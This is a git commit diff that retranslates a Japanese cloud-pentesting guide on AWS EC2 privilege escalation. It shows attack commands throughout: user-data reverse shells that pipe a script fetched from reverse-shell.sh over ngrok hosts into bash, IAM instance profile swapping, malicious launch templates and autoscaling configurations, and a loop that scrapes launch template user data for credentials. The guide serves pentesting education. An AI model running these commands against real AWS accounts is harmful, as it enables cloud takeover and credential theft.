Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-01-10 12:03:57 +00:00
parent 2cfe1f454c
commit 15eb02904a
7 changed files with 523 additions and 286 deletions

View File

@@ -16,15 +16,15 @@
- **SSH経由でのアクセス**
**作成した** **sshキー**を使用して新しいインスタンスを起動し`--key-name`、その後sshで接続します新しいものを作成する場合は、`ec2:CreateKeyPair`の権限が必要になることがあります)。
**作成した** **sshキー**を使用して新しいインスタンスを起動し(`--key-name`)、その後sshで接続します新しいものを作成する場合は、`ec2:CreateKeyPair`の権限が必要になることがあります)。
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
```
- **ユーザーデータを使用したrev shellへのアクセス**
- **ユーザーデータによるリバースシェルへのアクセス**
**ユーザーデータ** (`--user-data`) を使用して新しいインスタンスを起動すると、**rev shell** を送信します。この方法ではセキュリティグループを指定する必要はありません。
**ユーザーデータ** (`--user-data`) を使用して新しいインスタンスを起動すると、**リバースシェル**を送信します。この方法ではセキュリティグループを指定する必要はありません。
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -67,12 +67,12 @@ aws-ecs-privesc.md
**新しいインスタンスを作成できない**が、`ecs:RegisterContainerInstance`の権限がある場合、クラスタ内にインスタンスを登録し、コメントされた攻撃を実行できるかもしれません。
**潜在的な影響:** タスクに付与されたECSロールへの直接的な権限昇格。
**潜在的な影響:** タスクに付随するECSロールへの直接的な権限昇格。
### **`iam:PassRole`、** **`iam:AddRoleToInstanceProfile`**
前のシナリオと同様に、これらの権限を持つ攻撃者は**侵害されたインスタンスのIAMロールを変更**し新しい資格情報を盗むことができます。\
インスタンスプロファイルは1つのロールしか持てないため、インスタンスプロファイルが**すでにロールを持っている**(一般的なケース)場合、**`iam:RemoveRoleFromInstanceProfile`**も必要になります。
前のシナリオと同様に、これらの権限を持つ攻撃者は**侵害されたインスタンスのIAMロールを変更**し新しい資格情報を盗むことができます。\
インスタンスプロファイルは1つのロールしか持てないため、インスタンスプロファイルが**すでにロールを持っている**(一般的なケース)場合、**`iam:RemoveRoleFromInstanceProfile`**も必要す。
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -80,30 +80,28 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
もし**インスタンスプロファイルにロールがある**場合、攻撃者が**それを削除できない**場合、別の回避策があります。彼は**ロールのないインスタンスプロファイルを見つける**か、**新しいものを作成する**ことができます(`iam:CreateInstanceProfile`)、その**インスタンスプロファイル**に**ロールを追加**し(前述の通り)、**侵害されたインスタンスに関連付ける**ことができます:
もし**インスタンスプロファイルにロールがある**場合、攻撃者が**それを削除できない**場合、別の回避策があります。彼は**ロールのないインスタンスプロファイルを見つける**か、**新しいものを作成する**ことができます(`iam:CreateInstanceProfile`)、**そのインスタンスプロファイルロールを追加**し(前述の通り)、**侵害されたインスタンスに関連付ける**ことができます:
- インスタンスが**インスタンスプロファイルを持っていない場合**`ec2:AssociateIamInstanceProfile`\*
- インスタンスが**インスタンスプロファイルを持っていない場合**`ec2:AssociateIamInstanceProfile`
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**潜在的影響:** 別の EC2 ロールへの直接的な権限昇格 (AWS EC2 インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります)。
**潜在的影響:** 別の EC2 ロールへの直接的な権限昇格 (AWS EC2 インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります)。
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
これらの権限を持つことで、インスタンスに関連付けられたインスタンスプロファイルを変更することが可能です。攻撃者がすでにインスタンスにアクセスしている場合、関連付けられたインスタンスプロファイルを変更することで、より多くのインスタンスプロファイルロールの資格情報を盗むことができます。
- **インスタンスプロファイルがある場合、** インスタンスプロファイルを **削除** することができ (`ec2:DisassociateIamInstanceProfile`)、それを **関連付ける** ことができます \*
- **インスタンスプロファイルがある場合、** インスタンスプロファイルを **削除** (`ec2:DisassociateIamInstanceProfile`)、**関連付ける**ことができます
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- または、侵害されたインスタンスの**インスタンスプロファイル**を**置き換える**`ec2:ReplaceIamInstanceProfileAssociation`)。\*
````
- または、侵害されたインスタンスの**インスタンスプロファイル**を**置き換える**`ec2:ReplaceIamInstanceProfileAssociation`)。
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
````
**潜在的な影響:** 別のEC2ロールへの直接的な権限昇格AWS EC2インスタンスを侵害し、いくつかの追加権限または特定のインスタンスプロファイルの状態を持っている必要があります
### `ec2:RequestSpotInstances`,`iam:PassRole`
@@ -121,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
**`ec2:ModifyInstanceAttribute`** を持つ攻撃者は、インスタンスの属性を変更できます。その中で、**ユーザーデータを変更**することができ、これによりインスタンスが**任意のデータを実行**することが可能になります。これを利用して**EC2インスタンスへのrev shellを取得**することができます。
攻撃者は **`ec2:ModifyInstanceAttribute`** を使用してインスタンスの属性を変更できます。その中で、**ユーザーデータを変更**することができ、これによりインスタンスが **任意のデータを実行**することが可能になります。これを利用して **EC2インスタンスへのリバースシェルを取得**することができます。
属性は**インスタンスが停止している間のみ**変更できるため、**`ec2:StopInstances`** と **`ec2:StartInstances`** の**権限**が必要です。
属性は **インスタンスが停止している間のみ** **変更**できることに注意してください。そのため、**`ec2:StopInstances`** および **`ec2:StartInstances`** の **権限**が必要です。
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -160,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**潜在的影響:** 作成されたインスタンスに付随する任意のEC2 IAMロールへの直接的な権限昇格。
**潜在的影響:** 作成されたインスタンスに付随する任意の EC2 IAM ロールへの直接的な権限昇格。
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`および `ec2:ModifyLaunchTemplate`** の権限を持つ攻撃者は、**ユーザーデータ**に**revシェル**を含む**新しいLaunch Templateバージョン**を作成し、デフォルトバージョンを変更し、**そのLaunch Template**を使用する**任意のAutoscalerグループ**は、**最新**または**デフォルトバージョン**を使用するように**構成**されているため、そのテンプレートを使用してインスタンスを**再実行**し、revシェルを実行します。
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`および `ec2:ModifyLaunchTemplate`** の権限を持つ攻撃者は、**ユーザーデータ**に**rev shell**を含む**新しい Launch Template バージョン**を作成し、デフォルトバージョンを変更し、その**Launch Template**を使用する**任意の Autoscaler グループ**は、**最新**または**デフォルトバージョン**を使用するように**構成**されているため、そのテンプレートを使用してインスタンスを**再実行**し、rev shellを実行します。
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -178,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**潜在的影響:** 別の EC2 ロールへの直接的な権昇格。
**潜在的影響:** 別のEC2ロールへの直接的な権昇格。
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** の権限を持つ攻撃者は、**IAM ロール**と**rev shell**を**ユーザーデータ**内に含む**Launch Configuration**を**作成**し、その設定から**オートスケーリンググループ**を**作成**して、rev shellが**IAM ロール**を**盗む**のを待つことができます。
**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** の権限を持つ攻撃者は、**IAMロール**と**rev shell**を**ユーザーデータ**内に含む**Launch Configuration**を**作成**し、その設定から**オートスケーリンググループ**を**作成**して、rev shellが**IAMロール**を**盗む**のを待つことができます。
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -198,11 +196,11 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
**潜在的影響:** 別のEC2ロールへの直接的な権限昇格。
**潜在的影響:** 別のEC2ロールへの直接的な権限昇格。
### `!autoscaling`
権限のセット **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** は、IAMロールへの権限を昇格させるには不十分です。なぜなら、Launch ConfigurationまたはLaunch Templateで指定されたロールをアタッチするには **`iam:PassRole` と `ec2:RunInstances` の権限が必要だからです**(これは知られている権限昇格です)。
権限のセット **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** は、IAMロールへの権限を昇格させるには不十分です。なぜなら、Launch ConfigurationまたはLaunch Templateで指定されたロールをアタッチするには **`iam:PassRole`** と **`ec2:RunInstances`** の権限が必要だからです(これは知られている権限昇格です)。
### `ec2-instance-connect:SendSSHPublicKey`
@@ -231,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
この方法は、悪用するためにユーザー名とパスワードを知っている必要があるため、特に役に立ちません。
この方法は、悪用するためにユーザー名とパスワードを知っている必要があるため、特権昇格にはあまり役立ちません。
**潜在的な影響:** 非常に証明が難しい実行中のインスタンスに添付されたEC2 IAMロールへの直接的な権昇格。
**潜在的な影響:** 非常に証明が難しい実行中のインスタンスに添付されたEC2 IAMロールへの直接的な権昇格。
### `describe-launch-templates`,`describe-launch-template-versions`
起動テンプレートにはバージョン管理があるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** 権限を持つ攻撃者は、ユーザーデータに存在する資格情報などの機密情報を発見するためにこれらを悪用することができます。これを達成するために、以下のスクリプトは利用可能な起動テンプレートのすべてのバージョンをループします:
起動テンプレートにはバージョン管理があるため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** 権限を持つ攻撃者は、ユーザーデータに存在する資格情報などの機密情報を発見するためにこれらを悪用することができます。これを達成するために、以下のスクリプトは利用可能な起動テンプレートのすべてのバージョンをループします:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -252,7 +250,7 @@ done
```
上記のコマンドでは、特定のパターン(`aws_|password|token|api`)を指定していますが、他の種類の機密情報を検索するために異なる正規表現を使用することもできます。
`aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの資格情報を使用してAWSに認証できます。
`aws_access_key_id``aws_secret_access_key` が見つかった場合、これらの資格情報を使用してAWSに認証できます。
**潜在的な影響:** IAMユーザーへの直接的な権限昇格。